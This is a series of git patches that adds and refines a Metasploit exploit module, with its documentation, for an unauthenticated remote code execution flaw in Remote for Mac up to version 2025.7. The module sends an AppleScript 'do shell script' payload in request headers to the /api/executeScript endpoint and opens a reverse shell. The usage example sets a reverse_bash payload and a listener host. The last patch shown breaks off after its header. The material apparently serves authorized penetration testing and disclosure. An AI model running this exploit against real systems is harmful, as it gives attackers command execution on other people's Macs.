From 1860c16aa8e3c3fa0fc43a667f6d249f00e3fc26 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 28 May 2025 07:42:34 +0100 Subject: [PATCH 01/13] Add Remote for Mac 2025.6 unauthenticated RCE module --- .../exploits/osx/http/remote_for_mac_rce.rb | 116 ++++++++++++++++++ 1 file changed, 116 insertions(+) create mode 100644 modules/exploits/osx/http/remote_for_mac_rce.rb diff --git a/modules/exploits/osx/http/remote_for_mac_rce.rb b/modules/exploits/osx/http/remote_for_mac_rce.rb new file mode 100644 index 0000000000..3368dcaa6d --- /dev/null +++ b/modules/exploits/osx/http/remote_for_mac_rce.rb @@ -0,0 +1,116 @@ +## +# Exploit Title: Remote for Mac 2025.6 - Unauthenticated RCE MSF Module +# Date: May 2025 +# Exploit Author: Chokri Hammedi (@chokri0x00) +# Vendor Homepage: https://www.cherpake.com/ +# Software Link: https://cherpake.com/latest.php?os=mac +# Exploit Source: https://packetstormsecurity.com/files/195347/ +# Version: Remote for Mac 2025.6 +# Tested on: macOS Mojave, macOS Ventura +## + +require 'msf/core' +require 'json' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Remote for Mac 2025.6 - Unauthenticated RCE', + 'Description' => %q{ + This module exploits an unauthenticated remote code execution vulnerability in + Remote for Mac 2025.6 via the /api/executeScript endpoint. When authentication is + disabled on the target system, it allows attackers to execute arbitrary AppleScript + commands, which can include shell commands via `do shell script`. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Chokri Hammedi (@blue0x1)'], + 'References' => + [ + ['URL', 'https://packetstormsecurity.com/files/195347/'] + ], + 'DisclosureDate' => '2025-05-25', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [['Auto', {}]], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 49229, + 'SSL' => true + } + )) + + register_options([ + Opt::RHOST(), + Opt::RPORT(49229), + OptBool.new('SSL', [true, 'Enable SSL/TLS', true]), + OptString.new('LHOST', [true, "Local host to receive reverse shell"]), + OptInt.new('LPORT', [true, "Local port to receive reverse shell", 4444]), + OptBool.new('FORCE', [false, "Force exploitation even if checks fail", false]) + ]) + end + + def check + return CheckCode::Unknown('Skipping version/auth checks (--force)') if datastore['FORCE'] + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'), + 'method' => 'GET', + 'ssl' => datastore['SSL'] + ) + + return CheckCode::Unknown('No response from target') unless res && res.code == 200 + + begin + info = JSON.parse(res.body) + rescue JSON::ParserError + return CheckCode::Unknown('Unable to parse JSON from /api/getVersion') + end + + if info['requires.auth'] == true + return CheckCode::Safe('Target requires authentication on /api/executeScript') + end + + if info['version'] != '2025.6' + return CheckCode::Safe("Target version is #{info['version']}, not vulnerable") + end + + CheckCode::Appears + end + + def exploit + unless datastore['FORCE'] || check == CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target does not appear vulnerable') + end + + print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}") + cmd = payload.encoded + escaped = cmd.gsub('\\', '\\\\\\').gsub('"', '\"') + applescript = %Q{do shell script "#{escaped}"} + + print_status("Sending exploit to #{rhost}:#{rport} via AppleScript") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), + 'method' => 'GET', + 'ssl' => datastore['SSL'], + 'headers' => { + 'X-ClientToken' => '1337', + 'X-HostName' => 'iFruit', + 'X-HostFullModel' => 'iFruit19,2', + 'X-Script' => applescript, + 'X-ScriptName' => 'exploit', + 'X-ScriptDelay' => '0' + } + ) + + if res && res.code == 200 + print_good("Payload delivered successfully. Awaiting session...") + else + fail_with(Failure::Unknown, "Unexpected HTTP response: #{res ? res.code : 'no response'}") + end + end +end From 38f0178ad8c6eefb284fc857d4a75c21fbee2616 Mon Sep 17 00:00:00 2001 From: root Date: Wed, 28 May 2025 09:27:28 +0100 Subject: [PATCH 02/13] Update exploit: fix PacketStorm reference, add CVE placeholder --- .../exploits/osx/http/remote_for_mac_rce.rb | 84 ++++++++++--------- 1 file changed, 45 insertions(+), 39 deletions(-) diff --git a/modules/exploits/osx/http/remote_for_mac_rce.rb b/modules/exploits/osx/http/remote_for_mac_rce.rb index 3368dcaa6d..c3437be891 100644 --- a/modules/exploits/osx/http/remote_for_mac_rce.rb +++ b/modules/exploits/osx/http/remote_for_mac_rce.rb @@ -9,7 +9,6 @@ # Tested on: macOS Mojave, macOS Ventura ## -require 'msf/core' require 'json' class MetasploitModule < Msf::Exploit::Remote @@ -19,38 +18,45 @@ class MetasploitModule < Msf::Exploit::Remote prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) - super(update_info(info, - 'Name' => 'Remote for Mac 2025.6 - Unauthenticated RCE', - 'Description' => %q{ - This module exploits an unauthenticated remote code execution vulnerability in - Remote for Mac 2025.6 via the /api/executeScript endpoint. When authentication is - disabled on the target system, it allows attackers to execute arbitrary AppleScript - commands, which can include shell commands via `do shell script`. - }, - 'License' => MSF_LICENSE, - 'Author' => ['Chokri Hammedi (@blue0x1)'], - 'References' => - [ - ['URL', 'https://packetstormsecurity.com/files/195347/'] + super( + update_info( + info, + 'Name' => 'Remote for Mac 2025.6 - Unauthenticated RCE', + 'Description' => %q{ + This module exploits an unauthenticated remote code execution vulnerability in + Remote for Mac 2025.6 via the /api/executeScript endpoint. When authentication is + disabled on the target system, it allows attackers to execute arbitrary AppleScript + commands, which can include shell commands via `do shell script`. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Chokri Hammedi (@blue0x1)'], + 'References' => [ + ['PACKETSTORM', 'https://packetstormsecurity.com/files/195347/'] ], - 'DisclosureDate' => '2025-05-25', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Targets' => [['Auto', {}]], - 'DefaultTarget' => 0, - 'DefaultOptions' => { - 'RPORT' => 49229, - 'SSL' => true - } - )) + 'DisclosureDate' => '2025-05-27', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [['Auto', {}]], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 49229, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [ 'CRASH_SAFE' ], + 'Reliability' => [ 'REPEATABLE_SESSION' ], + 'SideEffects' => [ 'ARTIFACTS_ON_DISK' ] + } + ) + ) register_options([ Opt::RHOST(), Opt::RPORT(49229), OptBool.new('SSL', [true, 'Enable SSL/TLS', true]), - OptString.new('LHOST', [true, "Local host to receive reverse shell"]), - OptInt.new('LPORT', [true, "Local port to receive reverse shell", 4444]), - OptBool.new('FORCE', [false, "Force exploitation even if checks fail", false]) + OptString.new('LHOST', [true, 'Local host to receive reverse shell']), + OptInt.new('LPORT', [true, 'Local port to receive reverse shell', 4444]), + OptBool.new('FORCE', [false, 'Force exploitation even if checks fail', false]) ]) end @@ -58,9 +64,9 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown('Skipping version/auth checks (--force)') if datastore['FORCE'] res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'), + 'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'), 'method' => 'GET', - 'ssl' => datastore['SSL'] + 'ssl' => datastore['SSL'] ) return CheckCode::Unknown('No response from target') unless res && res.code == 200 @@ -90,25 +96,25 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}") cmd = payload.encoded escaped = cmd.gsub('\\', '\\\\\\').gsub('"', '\"') - applescript = %Q{do shell script "#{escaped}"} + applescript = %(do shell script "#{escaped}") print_status("Sending exploit to #{rhost}:#{rport} via AppleScript") res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), - 'method' => 'GET', - 'ssl' => datastore['SSL'], + 'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), + 'method' => 'GET', + 'ssl' => datastore['SSL'], 'headers' => { - 'X-ClientToken' => '1337', - 'X-HostName' => 'iFruit', + 'X-ClientToken' => '1337', + 'X-HostName' => 'iFruit', 'X-HostFullModel' => 'iFruit19,2', - 'X-Script' => applescript, - 'X-ScriptName' => 'exploit', - 'X-ScriptDelay' => '0' + 'X-Script' => applescript, + 'X-ScriptName' => 'exploit', + 'X-ScriptDelay' => '0' } ) if res && res.code == 200 - print_good("Payload delivered successfully. Awaiting session...") + print_good('Payload delivered successfully. Awaiting session...') else fail_with(Failure::Unknown, "Unexpected HTTP response: #{res ? res.code : 'no response'}") end From cf3e1764c5dba7c3004a346156c5182d64f02a2d Mon Sep 17 00:00:00 2001 From: root Date: Thu, 29 May 2025 04:29:15 +0100 Subject: [PATCH 03/13] Finalize Remote for Mac 2025.6 RCE module (no CVE yet) --- modules/exploits/osx/http/remote_for_mac_rce.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/osx/http/remote_for_mac_rce.rb b/modules/exploits/osx/http/remote_for_mac_rce.rb index c3437be891..983c16620c 100644 --- a/modules/exploits/osx/http/remote_for_mac_rce.rb +++ b/modules/exploits/osx/http/remote_for_mac_rce.rb @@ -31,9 +31,10 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => ['Chokri Hammedi (@blue0x1)'], 'References' => [ - ['PACKETSTORM', 'https://packetstormsecurity.com/files/195347/'] + ['URL', 'https://packetstorm.news/files/id/195347/'] ], 'DisclosureDate' => '2025-05-27', + 'CVE' => 'Pending', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [['Auto', {}]], From e027be9f4ce43341d82ef3830f501cfb36f8e31b Mon Sep 17 00:00:00 2001 From: root Date: Thu, 29 May 2025 12:30:10 +0100 Subject: [PATCH 04/13] Add documentation for Remote for Mac 2025.6 unauthenticated RCE module --- .../exploit/osx/http/remote_for_mac_rce.md | 40 +++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 documentation/modules/exploit/osx/http/remote_for_mac_rce.md diff --git a/documentation/modules/exploit/osx/http/remote_for_mac_rce.md b/documentation/modules/exploit/osx/http/remote_for_mac_rce.md new file mode 100644 index 0000000000..dbfcf30792 --- /dev/null +++ b/documentation/modules/exploit/osx/http/remote_for_mac_rce.md @@ -0,0 +1,40 @@ +# Module Documentation: Remote for Mac 2025.6 - Unauthenticated RCE + +## Overview + +This module exploits an unauthenticated remote code execution (RCE) vulnerability in **Remote for Mac 2025.6**. When the **"Allow unknown devices"** setting is enabled (disabled by default), the `/api/executeScript` endpoint allows unauthenticated attackers to execute arbitrary AppleScript commands, including shell commands, on the target macOS system. + +**Exploit Author:** [Chokri Hammedi](https://packetstormsecurity.com/files/195347/) + +**Module Path:** `modules/exploits/osx/http/remote_for_mac_rce.rb` + +## Vulnerable Application + +- **Vendor:** Evgeny Cherpak +- **Homepage:** [https://cherpake.com/](https://cherpake.com/) +- **Download:** [https://cherpake.com/latest.php?os=mac](https://cherpake.com/latest.php?os=mac) +- **Affected Version:** Remote for Mac 2025.6 +- **Tested on:** macOS Mojave 10.14.6 + +## Vulnerability Details + +- **Endpoint:** `/api/executeScript` +- **Vulnerability:** Missing authentication +- **Trigger Condition:** The app must have **"Allow unknown devices"** enabled. +- **Impact:** Full command execution as the logged-in user. + +The exploit sends a specially crafted GET request with AppleScript payload headers to the unauthenticated endpoint. The server executes the `do shell script` AppleScript, leading to remote command execution. + +## Usage Example + +From within `msfconsole`: + +```bash +use exploit/osx/http/remote_for_mac_rce +set RHOSTS 192.168.1.100 +set RPORT 443 +set SSL true +set PAYLOAD cmd/unix/reverse_bash +set LHOST 192.168.1.50 +run + From 69870ee7038ccf8e06241ff22e21b29d6fb73469 Mon Sep 17 00:00:00 2001 From: root Date: Fri, 30 May 2025 11:21:07 +0100 Subject: [PATCH 05/13] Update Remote for Mac 2025.6 RCE module with improvements and fixes --- .../exploits/osx/http/remote_for_mac_rce.rb | 64 ++++++------------- 1 file changed, 20 insertions(+), 44 deletions(-) diff --git a/modules/exploits/osx/http/remote_for_mac_rce.rb b/modules/exploits/osx/http/remote_for_mac_rce.rb index 983c16620c..b41d2ac9ba 100644 --- a/modules/exploits/osx/http/remote_for_mac_rce.rb +++ b/modules/exploits/osx/http/remote_for_mac_rce.rb @@ -1,14 +1,3 @@ -## -# Exploit Title: Remote for Mac 2025.6 - Unauthenticated RCE MSF Module -# Date: May 2025 -# Exploit Author: Chokri Hammedi (@chokri0x00) -# Vendor Homepage: https://www.cherpake.com/ -# Software Link: https://cherpake.com/latest.php?os=mac -# Exploit Source: https://packetstormsecurity.com/files/195347/ -# Version: Remote for Mac 2025.6 -# Tested on: macOS Mojave, macOS Ventura -## - require 'json' class MetasploitModule < Msf::Exploit::Remote @@ -31,10 +20,9 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => ['Chokri Hammedi (@blue0x1)'], 'References' => [ - ['URL', 'https://packetstorm.news/files/id/195347/'] + ['PACKETSTORM', '195347'] ], 'DisclosureDate' => '2025-05-27', - 'CVE' => 'Pending', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [['Auto', {}]], @@ -50,39 +38,27 @@ class MetasploitModule < Msf::Exploit::Remote } ) ) - - register_options([ - Opt::RHOST(), - Opt::RPORT(49229), - OptBool.new('SSL', [true, 'Enable SSL/TLS', true]), - OptString.new('LHOST', [true, 'Local host to receive reverse shell']), - OptInt.new('LPORT', [true, 'Local port to receive reverse shell', 4444]), - OptBool.new('FORCE', [false, 'Force exploitation even if checks fail', false]) - ]) end def check - return CheckCode::Unknown('Skipping version/auth checks (--force)') if datastore['FORCE'] - res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'), - 'method' => 'GET', - 'ssl' => datastore['SSL'] + 'method' => 'GET' ) - return CheckCode::Unknown('No response from target') unless res && res.code == 200 + return CheckCode::Unknown('No response from target') unless res&.code == 200 - begin - info = JSON.parse(res.body) - rescue JSON::ParserError + info = res.get_json_document + + if info.empty? return CheckCode::Unknown('Unable to parse JSON from /api/getVersion') end - if info['requires.auth'] == true + if info.dig('requires.auth') == true return CheckCode::Safe('Target requires authentication on /api/executeScript') end - if info['version'] != '2025.6' + if info.dig('version') != '2025.6' return CheckCode::Safe("Target version is #{info['version']}, not vulnerable") end @@ -90,34 +66,34 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - unless datastore['FORCE'] || check == CheckCode::Appears - fail_with(Failure::NotVulnerable, 'Target does not appear vulnerable') - end - print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}") cmd = payload.encoded escaped = cmd.gsub('\\', '\\\\\\').gsub('"', '\"') applescript = %(do shell script "#{escaped}") + host_name = Rex::Text.rand_text_alpha(8) + host_model = "#{Rex::Text.rand_text_alpha(4)}#{rand(99)}" + script_name = Rex::Text.rand_text_alpha(8) + print_status("Sending exploit to #{rhost}:#{rport} via AppleScript") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), 'method' => 'GET', - 'ssl' => datastore['SSL'], 'headers' => { - 'X-ClientToken' => '1337', - 'X-HostName' => 'iFruit', - 'X-HostFullModel' => 'iFruit19,2', + 'X-ClientToken' => Rex::Text.rand_text_numeric(4), + 'X-HostName' => host_name, + 'X-HostFullModel' => host_model, 'X-Script' => applescript, - 'X-ScriptName' => 'exploit', + 'X-ScriptName' => script_name, 'X-ScriptDelay' => '0' } ) - if res && res.code == 200 + if res&.code == 200 print_good('Payload delivered successfully. Awaiting session...') else - fail_with(Failure::Unknown, "Unexpected HTTP response: #{res ? res.code : 'no response'}") + code = res&.code || 'no response' + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response: #{code}") end end -end +end \ No newline at end of file From ca8a3c586a0e52eba43061c1844f6e1b84453b28 Mon Sep 17 00:00:00 2001 From: root Date: Fri, 30 May 2025 14:12:52 +0100 Subject: [PATCH 06/13] added 2025.7 support --- .../exploits/osx/http/remote_for_mac_rce.rb | 24 +++++++++++++------ 1 file changed, 17 insertions(+), 7 deletions(-) diff --git a/modules/exploits/osx/http/remote_for_mac_rce.rb b/modules/exploits/osx/http/remote_for_mac_rce.rb index b41d2ac9ba..3b568e7a17 100644 --- a/modules/exploits/osx/http/remote_for_mac_rce.rb +++ b/modules/exploits/osx/http/remote_for_mac_rce.rb @@ -10,12 +10,13 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => 'Remote for Mac 2025.6 - Unauthenticated RCE', + 'Name' => 'Remote for Mac <=2025.7 - Unauthenticated RCE', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in - Remote for Mac 2025.6 via the /api/executeScript endpoint. When authentication is - disabled on the target system, it allows attackers to execute arbitrary AppleScript - commands, which can include shell commands via `do shell script`. + Remote for Mac versions up to 2025.7 via the /api/executeScript endpoint. + When authentication is disabled on the target system, it allows attackers to execute + arbitrary AppleScript commands, which can include shell commands via `do shell script`. + All versions before 2025.8 are vulnerable. }, 'License' => MSF_LICENSE, 'Author' => ['Chokri Hammedi (@blue0x1)'], @@ -58,11 +59,20 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Safe('Target requires authentication on /api/executeScript') end - if info.dig('version') != '2025.6' - return CheckCode::Safe("Target version is #{info['version']}, not vulnerable") + version = info.dig('version').to_s + if version.empty? + return CheckCode::Unknown('Could not determine target version') end - CheckCode::Appears + + normalized_version = version.gsub(/[^\d\.]/, '') + + + if normalized_version <= "2025.7" + return CheckCode::Appears + end + + CheckCode::Safe("Target version #{version} is not vulnerable") end def exploit From dbfaece2a2ac8e9dfee390a6479601acec508209 Mon Sep 17 00:00:00 2001 From: root Date: Fri, 30 May 2025 14:19:56 +0100 Subject: [PATCH 07/13] badchars fix + extend payloads --- .../exploits/osx/http/remote_for_mac_rce.rb | 56 ++++++++++--------- 1 file changed, 29 insertions(+), 27 deletions(-) diff --git a/modules/exploits/osx/http/remote_for_mac_rce.rb b/modules/exploits/osx/http/remote_for_mac_rce.rb index 3b568e7a17..043690c515 100644 --- a/modules/exploits/osx/http/remote_for_mac_rce.rb +++ b/modules/exploits/osx/http/remote_for_mac_rce.rb @@ -24,7 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote ['PACKETSTORM', '195347'] ], 'DisclosureDate' => '2025-05-27', - 'Platform' => 'unix', + 'Platform' => ['unix','osx'], 'Arch' => ARCH_CMD, 'Targets' => [['Auto', {}]], 'DefaultTarget' => 0, @@ -76,34 +76,36 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}") - cmd = payload.encoded - escaped = cmd.gsub('\\', '\\\\\\').gsub('"', '\"') - applescript = %(do shell script "#{escaped}") + print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}") + cmd = payload.encoded - host_name = Rex::Text.rand_text_alpha(8) - host_model = "#{Rex::Text.rand_text_alpha(4)}#{rand(99)}" - script_name = Rex::Text.rand_text_alpha(8) + + applescript = %(do shell script "#{cmd}") - print_status("Sending exploit to #{rhost}:#{rport} via AppleScript") - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), - 'method' => 'GET', - 'headers' => { - 'X-ClientToken' => Rex::Text.rand_text_numeric(4), - 'X-HostName' => host_name, - 'X-HostFullModel' => host_model, - 'X-Script' => applescript, - 'X-ScriptName' => script_name, - 'X-ScriptDelay' => '0' - } - ) + host_name = Rex::Text.rand_text_alpha(8) + host_model = "#{Rex::Text.rand_text_alpha(4)}#{rand(99)}" + script_name = Rex::Text.rand_text_alpha(8) - if res&.code == 200 - print_good('Payload delivered successfully. Awaiting session...') - else - code = res&.code || 'no response' - fail_with(Failure::UnexpectedReply, "Unexpected HTTP response: #{code}") - end + print_status("Sending exploit to #{rhost}:#{rport} via AppleScript") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), + 'method' => 'GET', + 'headers' => { + 'X-ClientToken' => Rex::Text.rand_text_numeric(4), + 'X-HostName' => host_name, + 'X-HostFullModel' => host_model, + 'X-Script' => applescript, + 'X-ScriptName' => script_name, + 'X-ScriptDelay' => '0' + } + ) + + if res&.code == 200 + print_good('Payload delivered successfully. Awaiting session...') + else + code = res&.code || 'no response' + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response: #{code}") end +end + end \ No newline at end of file From 11a51bf48909e1d23e655dd3a2ab60d3a5806094 Mon Sep 17 00:00:00 2001 From: root Date: Fri, 30 May 2025 16:43:40 +0100 Subject: [PATCH 08/13] rex version payloads --- .../exploits/osx/http/remote_for_mac_rce.rb | 84 +++++++++---------- 1 file changed, 42 insertions(+), 42 deletions(-) diff --git a/modules/exploits/osx/http/remote_for_mac_rce.rb b/modules/exploits/osx/http/remote_for_mac_rce.rb index 043690c515..8ab4ea406b 100644 --- a/modules/exploits/osx/http/remote_for_mac_rce.rb +++ b/modules/exploits/osx/http/remote_for_mac_rce.rb @@ -13,10 +13,10 @@ class MetasploitModule < Msf::Exploit::Remote 'Name' => 'Remote for Mac <=2025.7 - Unauthenticated RCE', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in - Remote for Mac versions up to 2025.7 via the /api/executeScript endpoint. - When authentication is disabled on the target system, it allows attackers to execute + Remote for Mac versions up to and including 2025.7 via the /api/executeScript endpoint. + When authentication is disabled on the target system, it allows attackers to execute arbitrary AppleScript commands, which can include shell commands via `do shell script`. - All versions before 2025.8 are vulnerable. + All versions up to 2025.7 (including patch versions) are vulnerable. }, 'License' => MSF_LICENSE, 'Author' => ['Chokri Hammedi (@blue0x1)'], @@ -33,9 +33,9 @@ class MetasploitModule < Msf::Exploit::Remote 'SSL' => true }, 'Notes' => { - 'Stability' => [ 'CRASH_SAFE' ], - 'Reliability' => [ 'REPEATABLE_SESSION' ], - 'SideEffects' => [ 'ARTIFACTS_ON_DISK' ] + 'Stability' => ['CRASH_SAFE'], + 'Reliability' => ['REPEATABLE_SESSION'], + 'SideEffects' => ['ARTIFACTS_ON_DISK'] } ) ) @@ -64,48 +64,48 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown('Could not determine target version') end - - normalized_version = version.gsub(/[^\d\.]/, '') - - - if normalized_version <= "2025.7" - return CheckCode::Appears + begin + target_version = Rex::Version.new(version) + vulnerable_version = Rex::Version.new('2025.7') + + if target_version <= vulnerable_version + return CheckCode::Appears + else + return CheckCode::Safe("Target version #{version} is not vulnerable") + end + rescue ArgumentError + return CheckCode::Unknown("Invalid version format: #{version}") end - - CheckCode::Safe("Target version #{version} is not vulnerable") end def exploit - print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}") - cmd = payload.encoded + print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}") + cmd = payload.encoded + applescript = %(do shell script "#{cmd}") - - applescript = %(do shell script "#{cmd}") + host_name = Rex::Text.rand_text_alpha(8) + host_model = "#{Rex::Text.rand_text_alpha(4)}#{rand(99)}" + script_name = Rex::Text.rand_text_alpha(8) - host_name = Rex::Text.rand_text_alpha(8) - host_model = "#{Rex::Text.rand_text_alpha(4)}#{rand(99)}" - script_name = Rex::Text.rand_text_alpha(8) + print_status("Sending exploit to #{rhost}:#{rport} via AppleScript") + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), + 'method' => 'GET', + 'headers' => { + 'X-ClientToken' => Rex::Text.rand_text_numeric(4), + 'X-HostName' => host_name, + 'X-HostFullModel' => host_model, + 'X-Script' => applescript, + 'X-ScriptName' => script_name, + 'X-ScriptDelay' => '0' + } + ) - print_status("Sending exploit to #{rhost}:#{rport} via AppleScript") - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'), - 'method' => 'GET', - 'headers' => { - 'X-ClientToken' => Rex::Text.rand_text_numeric(4), - 'X-HostName' => host_name, - 'X-HostFullModel' => host_model, - 'X-Script' => applescript, - 'X-ScriptName' => script_name, - 'X-ScriptDelay' => '0' - } - ) - - if res&.code == 200 - print_good('Payload delivered successfully. Awaiting session...') - else - code = res&.code || 'no response' - fail_with(Failure::UnexpectedReply, "Unexpected HTTP response: #{code}") + if res&.code == 200 + print_good('Payload delivered successfully. Awaiting session...') + else + code = res&.code || 'no response' + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response: #{code}") + end end -end - end \ No newline at end of file From 7aa1d1712459687a603c9ca1e1ea4127d0887f4a Mon Sep 17 00:00:00 2001 From: root Date: Fri, 30 May 2025 16:46:08 +0100 Subject: [PATCH 09/13] rex version fix --- modules/exploits/osx/http/remote_for_mac_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/http/remote_for_mac_rce.rb b/modules/exploits/osx/http/remote_for_mac_rce.rb index 8ab4ea406b..8c766dfd4f 100644 --- a/modules/exploits/osx/http/remote_for_mac_rce.rb +++ b/modules/exploits/osx/http/remote_for_mac_rce.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => 'Remote for Mac <=2025.7 - Unauthenticated RCE', + 'Name' => 'Remote for Mac <= 2025.7 - Unauthenticated RCE', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in Remote for Mac versions up to and including 2025.7 via the /api/executeScript endpoint. From 8b1113d225d7309c9f554afeec25f6a2ef701fc6 Mon Sep 17 00:00:00 2001 From: root Date: Sat, 7 Jun 2025 17:52:45 +0100 Subject: [PATCH 10/13] Update: Improved RCE detection logic and payload options for Remote for Mac 2025.6 --- modules/exploits/osx/http/remote_for_mac_rce.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/exploits/osx/http/remote_for_mac_rce.rb b/modules/exploits/osx/http/remote_for_mac_rce.rb index 8c766dfd4f..56dc6a58e0 100644 --- a/modules/exploits/osx/http/remote_for_mac_rce.rb +++ b/modules/exploits/osx/http/remote_for_mac_rce.rb @@ -24,7 +24,7 @@ class MetasploitModule < Msf::Exploit::Remote ['PACKETSTORM', '195347'] ], 'DisclosureDate' => '2025-05-27', - 'Platform' => ['unix','osx'], + 'Platform' => ['unix', 'osx'], 'Arch' => ARCH_CMD, 'Targets' => [['Auto', {}]], 'DefaultTarget' => 0, @@ -55,11 +55,11 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown('Unable to parse JSON from /api/getVersion') end - if info.dig('requires.auth') == true + if info['requires.auth'] == true return CheckCode::Safe('Target requires authentication on /api/executeScript') end - version = info.dig('version').to_s + version = info['version'].to_s if version.empty? return CheckCode::Unknown('Could not determine target version') end @@ -67,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote begin target_version = Rex::Version.new(version) vulnerable_version = Rex::Version.new('2025.7') - + if target_version <= vulnerable_version return CheckCode::Appears else @@ -104,8 +104,8 @@ class MetasploitModule < Msf::Exploit::Remote if res&.code == 200 print_good('Payload delivered successfully. Awaiting session...') else - code = res&.code || 'no response' - fail_with(Failure::UnexpectedReply, "Unexpected HTTP response: #{code}") + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response: #{res&.code || 'no response' + }") end end -end \ No newline at end of file +end From c9713a7184e5099bd47aeb64758ac944bfc4b3df Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Sun, 8 Jun 2025 12:06:33 +0200 Subject: [PATCH 11/13] Code reformat, rubocoping --- .../exploits/osx/http/remote_for_mac_rce.rb | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) diff --git a/modules/exploits/osx/http/remote_for_mac_rce.rb b/modules/exploits/osx/http/remote_for_mac_rce.rb index 56dc6a58e0..3e790cde3d 100644 --- a/modules/exploits/osx/http/remote_for_mac_rce.rb +++ b/modules/exploits/osx/http/remote_for_mac_rce.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => 'Remote for Mac <= 2025.7 - Unauthenticated RCE', + 'Name' => 'Remote for Mac Unauthenticated RCE', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in Remote for Mac versions up to and including 2025.7 via the /api/executeScript endpoint. @@ -29,7 +29,6 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [['Auto', {}]], 'DefaultTarget' => 0, 'DefaultOptions' => { - 'RPORT' => 49229, 'SSL' => true }, 'Notes' => { @@ -64,17 +63,13 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown('Could not determine target version') end - begin - target_version = Rex::Version.new(version) - vulnerable_version = Rex::Version.new('2025.7') + target_version = Rex::Version.new(version) + vulnerable_version = Rex::Version.new('2025.7') - if target_version <= vulnerable_version - return CheckCode::Appears - else - return CheckCode::Safe("Target version #{version} is not vulnerable") - end - rescue ArgumentError - return CheckCode::Unknown("Invalid version format: #{version}") + if target_version <= vulnerable_version + return CheckCode::Appears + else + return CheckCode::Safe("Target version #{version} is not vulnerable") end end From 16541d9f64e9ee7d2737b414aa7aacea8e446cfa Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Sun, 8 Jun 2025 12:17:58 +0200 Subject: [PATCH 12/13] Fixes notes --- modules/exploits/osx/http/remote_for_mac_rce.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/osx/http/remote_for_mac_rce.rb b/modules/exploits/osx/http/remote_for_mac_rce.rb index 3e790cde3d..0fc83e2915 100644 --- a/modules/exploits/osx/http/remote_for_mac_rce.rb +++ b/modules/exploits/osx/http/remote_for_mac_rce.rb 